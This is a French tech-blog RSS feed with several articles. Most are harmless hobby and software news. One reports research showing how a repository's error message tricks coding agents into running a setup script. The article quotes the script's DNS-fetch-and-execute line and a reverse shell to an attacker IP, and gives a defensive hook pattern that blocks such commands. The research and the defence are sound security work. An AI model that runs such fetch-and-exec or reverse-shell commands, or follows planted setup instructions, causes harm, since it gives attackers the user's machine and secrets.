&lt;p&gt;Pour ceux qui n'ont jamais croisé ce terme (ou pas dans le bon sens), une démo, dans ce milieu qu'on appelle la demoscene, c'est un programme conçu pour faire produire à une machine des effets graphiques et sonores qu'on la croyait pourtant incapable de sortir, le tout calé au millimètre sur la musique. Second Reality a remporté l'Assembly 1993, la grande compétition du genre, le 30 juillet de cette année-là, et a longtemps tenu lieu de démonstration ultime de ce qu'un PC de l'époque avait réellement dans le ventre.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Un développeur du nom de Niv Singer a eu l'idée improbable de brancher quatre vieux disques durs en guise d'enceintes, puis de leur faire cracher Second Reality, cette production que le groupe finlandais Future Crew a sortie en 1993 et qui reste, plus de trente ans après, l'une des plus vénérées de toute l'histoire du PC, avec une musique extraordinaire (que j'ai écoutée des millions de fois).&lt;/p&gt;
&lt;p&gt;[Embed: https://hackaday.com/2026/06/29/hard-drive-speakers-crank-out-classic-demo/]&lt;/p&gt;
&lt;p&gt;Pour ceux qui n'ont jamais croisé ce terme (ou pas dans le bon sens), une démo, dans ce milieu qu'on appelle la demoscene, c'est un programme conçu pour faire produire à une machine des effets graphiques et sonores qu'on la croyait pourtant incapable de sortir, le tout calé au millimètre sur la musique. Second Reality a remporté l'Assembly 1993, la grande compétition du genre, le 30 juillet de cette année-là, et a longtemps tenu lieu de démonstration ultime de ce qu'un PC de l'époque avait réellement dans le ventre.&lt;/p&gt;
&lt;p&gt;Le principe que Niv Singer exploite ici est en réalité tout simple, presque bête. Dans un disque dur, une bobine déplace la tête de lecture au-dessus des plateaux qui tournent, exactement comme la bobine d'un haut-parleur fait bouger sa membrane pour brasser l'air. En envoyant un signal audio dans cette bobine plutôt que les commandes de positionnement habituelles, la tête se met à vibrer et produit donc du son.&lt;/p&gt;
&lt;div class="youtube-container"&gt;
&lt;iframe
src="https://www.youtube-nocookie.com/embed/nQofGpD3szo?rel=0&amp;modestbranding=1"
title="YouTube video player"
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allowfullscreen
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&lt;/iframe&gt;
&lt;div&gt;
&lt;p&gt;Sauf que voilà, l'intéressé ne cache pas vraiment les limites de la chose. Le rendement est mauvais, le volume reste famélique et la réponse en fréquence, pour reprendre ses propres mots, est franchement catastrophique. Un disque dur n'a jamais été pensé pour faire de la musique, et ça s'entend.&lt;/p&gt;
&lt;p&gt;D'où l'astuce, qui consiste à ne surtout pas se contenter d'un seul disque. Il en a empilé quatre, des Western Digital Caviar de 500 Go chacun, répartis à raison de deux par canal stéréo, la gauche et la droite. Sur chaque canal, un filtre répartiteur, ce fameux crossover qui découpe le son entre les différentes fréquences, confie les graves à un disque et les aigus à l'autre, histoire que chacun bosse dans la plage où il se débrouille le moins mal.&lt;/p&gt;
&lt;p&gt;Et il ne s'arrête pas là, puisque les plateaux des disques se mettent en plus à tourner en rythme avec la musique. Pour obtenir ça, il pilote finement leur vitesse avec du PWM, une technique qui consiste à hacher l'alimentation électrique très vite pour doser pile l'énergie envoyée au moteur. Le résultat tient autant du concert bricolé que de l'installation lumineuse de salon.&lt;/p&gt;
&lt;p&gt;Tout le projet, baptisé Spin Doctor, est posé sur GitHub, schémas et code compris, pour quiconque voudrait reproduire l'expérience avec ses propres rebuts informatiques.&lt;/p&gt;
&lt;p&gt;Faire rejouer la démo la plus mythique du PC par le matériel qu'on balance d'habitude à la déchèterie, perso j'adore.&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://hackaday.com/2026/06/29/hard-drive-speakers-crank-out-classic-demo/"&gt;Hackaday&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>hardware-diy</category><category>multimedia-culture/culture-geek</category><category>demo</category><category>demoscene</category><category>futurecrew</category><category>second reality</category><media:content url="https://korben.info/il-a-transforme-quatre-disques-durs-en-enceintes-pour-rejouer-une-demo-culte-de-1993/il-a-transforme-quatre-disques-durs-en-enceintes-pour-rejouer-une-demo-culte-de-1993-1.jpg" medium="image" type="image/jpeg" width="1280" height="720"/></item><item><title>Un dépôt GitHub trop propre suffit à pirater Claude Code</title><link>https://korben.info/claude-code-depot-malveillant-prompt-injection.html</link><pubDate>Tue, 30 Jun 2026 09:18:23 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/claude-code-depot-malveillant-prompt-injection.html</guid><description>&lt;p&gt;Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.&lt;/p&gt;
&lt;p&gt;Vous clonez le repo, vous demandez à Claude Code de &amp;quot;&lt;em&gt;faire tourner le projet&lt;/em&gt;&amp;quot;, et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !&lt;/p&gt;</description><content:encoded>&lt;p&gt;Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.&lt;/p&gt;
&lt;p&gt;Vous clonez le repo, vous demandez à Claude Code de &amp;quot;&lt;em&gt;faire tourner le projet&lt;/em&gt;&amp;quot;, et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !&lt;/p&gt;
&lt;p&gt;Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.&lt;/p&gt;
&lt;p&gt;Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme &amp;quot;Axiom&amp;quot;, un faux outil de déploiement cloud avec un README propre et des instructions banales : &lt;code&gt;pip3 install -r requirements.txt&lt;/code&gt; puis &lt;code&gt;python3 -m axiom init&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un &lt;code&gt;RuntimeError&lt;/code&gt; parfaitement normal qui lui dit gentiment &amp;quot;lance python3 -m axiom init&amp;quot;. Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche &lt;code&gt;scripts/setup.sh&lt;/code&gt;, qui lui, va chercher sa vraie charge utile ailleurs.&lt;/p&gt;
&lt;p&gt;Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d &amp;#39;&amp;#34;&amp;#39;)
[ -n &amp;#34;$cfg&amp;#34; ] &amp;amp;&amp;amp; bash -c &amp;#34;$cfg&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell &lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/IP-attaquant/4443 0&amp;gt;&amp;amp;1&lt;/code&gt; qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.&lt;/p&gt;
&lt;p&gt;À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers &lt;code&gt;.env&lt;/code&gt;, siphonner &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt;, &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;, &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;, planter une clé SSH ou un cron pour rester au chaud.&lt;/p&gt;
&lt;p&gt;C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.&lt;/p&gt;
&lt;p&gt;L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : &lt;strong&gt;ils lisent les erreurs et tentent de les corriger seuls&lt;/strong&gt;. On est dans la lignée de cette
&lt;a href="https://korben.info/une-bibliotheque-java-a-tente-de-pieger-les-ia-codeuses-pour-quelles-effacent-vos-tests-et-ca-a-failli-marcher.html"&gt;bibliothèque Java qui piégeait les IA codeuses&lt;/a&gt;
, sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les
&lt;a href="https://korben.info/le-bac-a-sable-de-claude-code-avait-deux-failles-et-cest-plus-genant-quil-ny-parait.html"&gt;deux failles du bac à sable de Claude Code&lt;/a&gt;
donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.&lt;/p&gt;
&lt;p&gt;Pour vous protéger, le réflexe de base est simple : &lt;strong&gt;un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point&lt;/strong&gt;. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.&lt;/p&gt;
&lt;p&gt;Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit &lt;code&gt;~/.claude/hooks/block-fetch-exec.sh&lt;/code&gt; :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env bash
input=$(cat)
cmd=$(printf &amp;#39;%s&amp;#39; &amp;#34;$input&amp;#34; | jq -r &amp;#39;.tool_input.command // &amp;#34;&amp;#34;&amp;#39;)
if printf &amp;#39;%s&amp;#39; &amp;#34;$cmd&amp;#34; | grep -Eq &amp;#39;(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)&amp;#39;; then
jq -n &amp;#39;{
hookSpecificOutput: {
hookEventName: &amp;#34;PreToolUse&amp;#34;,
permissionDecision: &amp;#34;deny&amp;#34;,
permissionDecisionReason: &amp;#34;Bloqué : fetch-and-exec détecté.&amp;#34;
}
}&amp;#39;
else
exit 0
fi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Vous le rendez exécutable avec &lt;code&gt;chmod +x&lt;/code&gt;, puis vous le déclarez dans &lt;code&gt;~/.claude/settings.json&lt;/code&gt; et c'est plié :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
&amp;#34;hooks&amp;#34;: {
&amp;#34;PreToolUse&amp;#34;: [
{ &amp;#34;matcher&amp;#34;: &amp;#34;Bash&amp;#34;, &amp;#34;hooks&amp;#34;: [
{ &amp;#34;type&amp;#34;: &amp;#34;command&amp;#34;, &amp;#34;command&amp;#34;: &amp;#34;$HOME/.claude/hooks/block-fetch-exec.sh&amp;#34; }
]}
]
}
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;À partir de là, tout &lt;code&gt;curl ... | bash&lt;/code&gt; ou &lt;code&gt;dig ... | bash&lt;/code&gt; se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le &lt;code&gt;python3 -m axiom init&lt;/code&gt; de l'attaque planque son &lt;code&gt;dig | bash&lt;/code&gt; à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.&lt;/p&gt;
&lt;p&gt;Un outil comme
&lt;a href="https://korben.info/firewall-gratuit-macos.html"&gt;LuLu&lt;/a&gt;
(gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.&lt;/p&gt;
&lt;p&gt;Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine"&gt;0DIN (Mozilla Zero Day Investigative Network)&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>cybersecurite/failles-vulnerabilites</category><category>intelligence-artificielle/chatbots-llm</category><category>Anthropic</category><category>Claude</category><category>Claude Code</category><category>Cybersécurité</category><category>faille de sécurité</category><category>GitHub</category><category>Mozilla</category><category>prompt injection</category><media:content url="https://korben.info/claude-code-depot-malveillant-prompt-injection/claude-code-depot-malveillant-prompt-injection-1.png" medium="image" type="image/png" width="1672" height="941"/></item><item><title>Arma Cold War Assault - Code source ouvert pour ses 25 ans</title><link>https://korben.info/arma-cold-war-assault-remaster-open-source.html</link><pubDate>Tue, 30 Jun 2026 09:00:00 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/arma-cold-war-assault-remaster-open-source.html</guid><description>&lt;p&gt;Il y a 25 ans, le studio tchèque Bohemia Interactive sortait &lt;strong&gt;Operation Flashpoint : Cold War Crisis&lt;/strong&gt;, un shooter tactique qui a marqué toute une génération de joueurs PC.&lt;/p&gt;
&lt;p&gt;Eh bien, pour l'anniversaire du jeu, ils n'ont pas fait les choses à moitié puisqu'un remaster est en route, une démo gratuite est dispo sur
&lt;a href="https://store.steampowered.com/app/65790/ARMA_Cold_War_Assault/"&gt;Steam&lt;/a&gt;
, et surtout, ils ouvrent le code source du moteur. Tout ça d'un coup et c'est trop cool !&lt;/p&gt;</description><content:encoded>&lt;p&gt;Il y a 25 ans, le studio tchèque Bohemia Interactive sortait &lt;strong&gt;Operation Flashpoint : Cold War Crisis&lt;/strong&gt;, un shooter tactique qui a marqué toute une génération de joueurs PC.&lt;/p&gt;
&lt;p&gt;Eh bien, pour l'anniversaire du jeu, ils n'ont pas fait les choses à moitié puisqu'un remaster est en route, une démo gratuite est dispo sur
&lt;a href="https://store.steampowered.com/app/65790/ARMA_Cold_War_Assault/"&gt;Steam&lt;/a&gt;
, et surtout, ils ouvrent le code source du moteur. Tout ça d'un coup et c'est trop cool !&lt;/p&gt;
&lt;p&gt;Le dépôt est public sur
&lt;a href="https://github.com/BohemiaInteractive/CWR"&gt;GitHub&lt;/a&gt;
, sous le nom BohemiaInteractive/CWR et dedans, vous trouverez le moteur ET le code du jeu, le tout modernisé en C++20, compilé avec CMake et Clang, et compatible Windows x64 comme Linux x64. La démo Steam, elle, vous pose directement dans la sandbox open-world d'origine, avec les véhicules, l'IA et le système de missions. Enfin, un asset-pack est fourni pour que vous bricoliez vos propres mods.&lt;/p&gt;
&lt;div class="youtube-container"&gt;
&lt;iframe
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&lt;/iframe&gt;
&lt;div&gt;
&lt;p&gt;Le moteur s'appelle Poseidon et détail rigolo, c'était le nom interne du projet en 1999, avant que le jeu ne devienne Operation Flashpoint et le moteur Real Virtuality. Et si vous vous demandez pourquoi le titre a fini renommé Arma : Cold War Assault en 2011, c'est à cause d'un litige sur la marque avec Codemasters, l'éditeur d'origine.&lt;/p&gt;
&lt;p&gt;Attention quand même aux licences puisque Bohemia ouvre le code, mais les marques "ARMA", "Operation Flashpoint" et les logos restent chez leurs détenteurs respectifs (la marque "ARMA" appartient bien à Bohemia, mais "Operation Flashpoint" n'est pas à eux). En clair, si vous voulez forker le projet, vous devez le renommer et surtout pas le vendre comme un produit officiel Bohemia. Logique, mais autant le savoir avant !&lt;/p&gt;
&lt;p&gt;Operation Flashpoint c'est LE jeu qui a lancé toute la franchise Arma, devenue une référence du &amp;quot;simulationnisme&amp;quot; militaire sur PC, avec une communauté de moddeurs énorme dans son sillage. Libérer le code d'un jeu culte, c'est très rare (id Software l'avait fait avec
&lt;a href="https://github.com/id-software/doom"&gt;Doom&lt;/a&gt;
, sans oublier ce bon vieux
&lt;a href="https://korben.info/commander-keen-code-source-release-id-software.html"&gt;Commander Keen&lt;/a&gt;
), et ça donne à la communauté de quoi préserver et faire vivre le jeu pour les 25 prochaines années !&lt;/p&gt;
&lt;p&gt;La version complète du remaster, elle, n'a pas encore de date officielle et Bohemia parle juste d'un "plus tard".&lt;/p&gt;
&lt;p&gt;Bref, si vous voulez trifouiller le moteur d'un classique,
&lt;a href="https://github.com/BohemiaInteractive/CWR"&gt;le code est sur Github&lt;/a&gt;
et
&lt;a href="https://github.com/BohemiaInteractive/CWR"&gt;la démo gratuite sur Steam&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://www.pcgameshardware.de/Arma-Cold-War-Assault-Spiel-18158/News/Shooter-Remaster-Demo-freier-Quellcode-1546691/"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>jeux-video/retrogaming-emulation</category><category>linux-open-source/logiciels-libres</category><category>Arma</category><category>Bohemia Interactive</category><category>code source</category><category>FPS</category><category>Linux Gaming</category><category>open source</category><category>retrogaming</category><media:content url="https://korben.info/arma-cold-war-assault-remaster-open-source/arma-cold-war-assault-remaster-open-source-1.jpg" medium="image" type="image/jpeg" width="639" height="361"/></item><item><title>Cet écran e-ink fait tourner la Game Boy à 60 FPS</title><link>https://korben.info/gameboy-emulateur-liseuse-eink-esp32.html</link><pubDate>Tue, 30 Jun 2026 07:30:00 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/gameboy-emulateur-liseuse-eink-esp32.html</guid><description>&lt;p&gt;Je vous parlais
&lt;a href="https://korben.info/glider-moniteur-e-ink-open-source.html"&gt;de ces écrans e-ink hier&lt;/a&gt;
qui sont capables de se rafraichir beaucoup plus rapidement que les écrans tout pâle de nos liseuses. Et v'la ti pas que je tombe sur ce projet de Wenting Channel où le gars a décidé de faire tourner un Pokemon Bleu en 60 fps sur un écran e-ink.&lt;/p&gt;
&lt;div class="youtube-container"&gt;
&lt;iframe
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&lt;/iframe&gt;
&lt;div&gt;
&lt;p&gt;Avant j'aurais pensé que c'était impossible mais avec un M5Stack PapierS3 qui est un petit kit de dev à base d'ESP32-S3 et d'un écran e-ink tactile de 4,7 pouces en 960×540, il est parvenu !&lt;/p&gt;</description><content:encoded>&lt;p&gt;Je vous parlais
&lt;a href="https://korben.info/glider-moniteur-e-ink-open-source.html"&gt;de ces écrans e-ink hier&lt;/a&gt;
qui sont capables de se rafraichir beaucoup plus rapidement que les écrans tout pâle de nos liseuses. Et v'la ti pas que je tombe sur ce projet de Wenting Channel où le gars a décidé de faire tourner un Pokemon Bleu en 60 fps sur un écran e-ink.&lt;/p&gt;
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&lt;p&gt;Avant j'aurais pensé que c'était impossible mais avec un M5Stack PapierS3 qui est un petit kit de dev à base d'ESP32-S3 et d'un écran e-ink tactile de 4,7 pouces en 960×540, il est parvenu !&lt;/p&gt;
&lt;p&gt;Maintenant, si vous voulez tester chez vous, le firmware est dispo directement via M5 Burner, l'outil de flashage de M5Stack. Vous flashez, vous chargez une ROM, et hop, vous avez une Game Boy dans la poche qui se lit même en plein cagnard.&lt;/p&gt;
&lt;p&gt;Pour bien comprendre l'exploit, il faut comprendre comment fonctionne ce type d'écran à encre électronique. Les écrans e-ink sont lents par nature et chaque &amp;quot;pixel&amp;quot; qui le compose prend plusieurs centaines de millisecondes à se rafraichir grâce à des séquences de tensions (les waveforms) qui viennent modifier son état. Sauf que l'écran du PaperS3 dispose d'une interface parallèle ligne/colonne qui permet de piloter la dalle en contournant la méthode waveform classique&lt;/p&gt;
&lt;p&gt;Wenting attaque donc les pixels directement, en pipeline, ce qui rend possible un rafraîchissement allant jusqu'à 60-70 FPS. Et surtout sur la GameBoy, il n'a pas besoin de traiter tout l'écran car c'est du 160×144 pixels, et il ne faut que trois pixels pour représenter les quatre nuances de gris d'origine. En triplant l'image tramée, il obtient alors un agrandissement pixel-perfect ×3 tout en ne calculant qu'une fraction de la dalle.&lt;/p&gt;
&lt;p&gt;Pour l'émulation elle-même, il n'a pas réinventé la roue. Faire émuler une Game Boy par un microcontrôleur, ça a été fait mille fois. Il s'st contenté de tester les émulateurs PeanutGB, WanaCGB et Crankboy et a gardé ce dernier qui est le plus rapide. La Game Boy Color, par contre, on oublie puisque son CPU tourne deux fois plus vite et le PaperS3 n'a pas les reins pour ça.&lt;/p&gt;
&lt;p&gt;Concernant le son, une Game Boy crache quatre canaux audio, deux ondes carrées, un canal d'échantillons et un canal de bruit. Le PaperS3, lui, n'a qu'un buzzer, capable de pondre une seule note à la fois. Game over ? Pas du tout. Wenting a simplement repris la même technique qu'on utilisait sur les vieux PC sans carte son grâce aux canaux de la carte pour simuler une polyphonie.&lt;/p&gt;
&lt;p&gt;Ensuite, les contrôles c'est du joypad tactile à l'écran et il a même ajouté le support des manettes bluetooth (encore bien bien expérimental). Sans oublier la sauvegarde rapide qui fige l'état de la console à l'extinction, pour reprendre le jeu là où vous en étiez par la suite.&lt;/p&gt;
&lt;p&gt;Notez aussi que le PaperS3 est déjà en fin de vie, remplacé par le PaperColor sorti en mai mais j'imagine que Wenting fera une upgrade à un moment... on verra bien.&lt;/p&gt;
&lt;p&gt;Si le hacking de microcontrôleurs rétro vous parle, jetez un œil à cette
&lt;a href="https://korben.info/cette-mini-borne-darcade-tient-dans-la-main-et-tourne-sur-un-esp32.html"&gt;mini-borne d'arcade qui tourne aussi sur ESP32&lt;/a&gt;
, ou à
&lt;a href="https://korben.info/gb-recompiled-game-boy-decompilation.html"&gt;GB Recompiled qui traduit vos ROMs Game Boy en C natif&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://www.pcgamer.com/hardware/youtuber-builds-pocket-sized-game-boy-emulator-using-an-ereader-demonstrates-an-actually-playable-refresh-rate-for-your-pokemon-blue-replay/"&gt;PC Gamer&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>jeux-video/consoles</category><category>DIY</category><category>e-ink</category><category>émulation</category><category>ESP32</category><category>Game Boy</category><category>M5Stack</category><category>rétro gaming</category><media:content url="https://korben.info/gameboy-emulateur-liseuse-eink-esp32/gameboy-emulateur-liseuse-eink-esp32-1.jpeg" medium="image" type="image/jpeg" width="2560" height="1440"/></item><item><title>WSL Containers - des conteneurs Linux sans Docker Desktop</title><link>https://korben.info/wsl-containers-conteneurs-linux-windows.html</link><pubDate>Mon, 29 Jun 2026 23:07:50 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/wsl-containers-conteneurs-linux-windows.html</guid><description>&lt;p&gt;Microsoft vient de lâcher un truc qui va faire plaisir à tous ceux qui bidouillent fort des conteneurs Linux depuis leur machine Windows. Ça s'appelle WSL Containers (WSLC pour les intimes, et pas WSL 3) et l'objectif c'est de faire tourner des conteneurs Linux nativement sous Windows sans avoir à passer par des outils tiers du genre Docker.&lt;/p&gt;
&lt;p&gt;Pour en profiter, tapez la commande suivante :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wsl --update --pre-release
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cela mettra à jour votre WSL en version 2.9.3 ou supérieure et vous obtiendrez alors une toute nouvelle commande : &lt;code&gt;wslc&lt;/code&gt;.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Microsoft vient de lâcher un truc qui va faire plaisir à tous ceux qui bidouillent fort des conteneurs Linux depuis leur machine Windows. Ça s'appelle WSL Containers (WSLC pour les intimes, et pas WSL 3) et l'objectif c'est de faire tourner des conteneurs Linux nativement sous Windows sans avoir à passer par des outils tiers du genre Docker.&lt;/p&gt;
&lt;p&gt;Pour en profiter, tapez la commande suivante :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wsl --update --pre-release
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cela mettra à jour votre WSL en version 2.9.3 ou supérieure et vous obtiendrez alors une toute nouvelle commande : &lt;code&gt;wslc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;WSLC est un alias qui lance en réalité container.exe et qui permet de gérer tout le cycle de vie d'un conteneur Linux avec des commandes très classiques : run, stop, build, tag, push, pull, prune. Voici un vrai exemple tiré de la doc de Microsoft :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wslc run -d --name=webtop -e PUID=1000 -e PGID=1000 -e TZ=Etc/UTC -p 3000:3000 -p 3001:3001 lscr.io/linuxserver/webtop:ubuntu-kde
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ce qu'on lance là c'est bien une image en provenance de
&lt;a href="https://korben.info/linuxserver-io-images-docker.html"&gt;LinuxServer&lt;/a&gt;
dont je vous ai déjà parlé, et comme vous pouvez le voir, vous ne serez pas dépaysé si vous connaissez déjà un peu Docker.&lt;/p&gt;
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&lt;/iframe&gt;
&lt;div&gt;
&lt;p&gt;Et la cerise sur le gâteau, c'est le support GPU. Vous collez &lt;code&gt;--gpus all&lt;/code&gt; sur un conteneur PyTorch et CUDA répond présent, sans config tordue. C'est énorme pour ceux qui font du dev IA localement sous Windows. Vous allez enfin pouvoir entrainer ou inférer dans un conteneur propre sans avoir à vous taper avec les drivers.&lt;/p&gt;
&lt;p&gt;Microsoft pousse aussi des SDK (packages NuGet pour C, C++ et C#) histoire de piloter tout ça depuis vos applis si ça vous amuse.&lt;/p&gt;
&lt;p&gt;Maintenant, vous vous interrogez sûrement sur les perfs de WSLC et c'est bien normal. De ce que j'ai lu, comme WSLC passe par VirtioFS pour son système de fichiers par défaut, les accès seraient 2 fois plus rapide. J'emploie le conditionnel car personne n'a encore réalisé de benchmark indé mais si ça se vérifie, ça va être énorme tant le partage de fichiers entre Windows et un conteneur Linux c'était la misère. Là vos builds vont respiiiiirer !!!&lt;/p&gt;
&lt;p&gt;Et pour calmer les inquiets : Docker Desktop, Podman et Rancher Desktop ne disparaissent pas, rassurez-vous. Microsoft précise même que ces outils profiteront de changements de bas niveau apportés par WSLC. C'est donc une fondation, et absolument pas une déclaration de guerre.&lt;/p&gt;
&lt;p&gt;C'est pour le moment dispo en public preview, donc attendez-vous à quelques bugs, et la mise à dispo pour tous, ce sera normalement pour cet automne. En tout cas, je suis content de voir cette évolution. Ça arrive pile au moment où
&lt;a href="https://korben.info/apple-container-machines-linux-mac.html"&gt;Apple fait pareil de son côté&lt;/a&gt;
, ce qui en dit long sur où va le vent. Donc, si vous aviez décroché de WSL, c'est peut-être le moment de
&lt;a href="https://korben.info/installer-wsl2-windows-linux.html"&gt;remettre le nez dedans&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;À tester sur une machine de dev, pas en prod, hein ! Et vous me direz si le VirtioFS tient ses promesses.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>developpement/devops-infrastructure</category><category>tutoriels-guides/tutoriels-avances</category><category>windows</category><category>Docker</category><category>Linux</category><category>Microsoft</category><category>virtualisation</category><category>Windows</category><category>Windows 11</category><category>WSL</category><media:content url="https://korben.info/wsl-containers-conteneurs-linux-windows/wsl-containers-conteneurs-linux-windows-1.webp" medium="image" type="image/webp" width="1266" height="780"/></item><item><title>Un bateau à ballon à imprimer en 3D</title><link>https://korben.info/bateau-ballon-stl-impression-3d.html</link><pubDate>Mon, 29 Jun 2026 21:38:28 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/bateau-ballon-stl-impression-3d.html</guid><description>&lt;p&gt;Alors cette imprimante 3D ? Vous en êtes content ?&lt;/p&gt;
&lt;p&gt;Non, ne me mentez pas ! Je sais que comme 90% des gens qui en ont une, elle prend grave la poussière !! Mais voici que voilà de quoi la remettre au boulot pour les vacances !&lt;/p&gt;
&lt;p&gt;En effet, le designer jp.studio a partagé sur MakerWorld un petit modèle gratuit baptisé &lt;strong&gt;Balloon Boat&lt;/strong&gt;, un bateau-jouet qui se propulse tout seul avec, tout simplement, un ballon de baudruche.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Alors cette imprimante 3D ? Vous en êtes content ?&lt;/p&gt;
&lt;p&gt;Non, ne me mentez pas ! Je sais que comme 90% des gens qui en ont une, elle prend grave la poussière !! Mais voici que voilà de quoi la remettre au boulot pour les vacances !&lt;/p&gt;
&lt;p&gt;En effet, le designer jp.studio a partagé sur MakerWorld un petit modèle gratuit baptisé &lt;strong&gt;Balloon Boat&lt;/strong&gt;, un bateau-jouet qui se propulse tout seul avec, tout simplement, un ballon de baudruche.&lt;/p&gt;
&lt;img src="https://korben.info/bateau-ballon-stl-impression-3d/bateau-ballon-stl-impression-3d-2.jpg" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;&lt;em&gt;Le modèle Balloon Boat de jp.studio en cours d'impression&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On gonfle le ballon, on le fixe à l'arrière du bateau, et l'air qui s'échappe en se dégonflant pousse la coque sur l'eau. Oui c'est vieux comme le monde mais c'est trop rigolo ! Les enfants vont adorer !&lt;/p&gt;
&lt;p&gt;Les gens d'Adafruit l'ont imprimé pour leur série hebdo #3DThursday, sur Bambu X1C avec du PLA PolyMaker, et il faut compter à peine deux heures et une quarantaine de grammes de filament.&lt;/p&gt;
&lt;div class="youtube-container"&gt;
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&lt;div&gt;
&lt;p&gt;Par contre, s'il vous plait faites moi plaisir : Ne laissez jamais le ballon finir sa vie dans un ruisseau, un étang ou la mer. Un ballon en latex ou un bout de plastique coloré qui flotte, c'est un appât mortel pour un poisson, un oiseau ou une tortue marine. Ce plastique mettra des dizaines d'années à disparaître donc récupérez moi tout ça, séchez-le et rangez-le, vous le réutiliserez la prochaine fois et tout le monde sera content !&lt;/p&gt;
&lt;p&gt;Ce modèle est en téléchargement libre sur la page MakerWorld de jp.studio. Et si vous cherchez d'autres idées pour votre imprimante, j'ai un
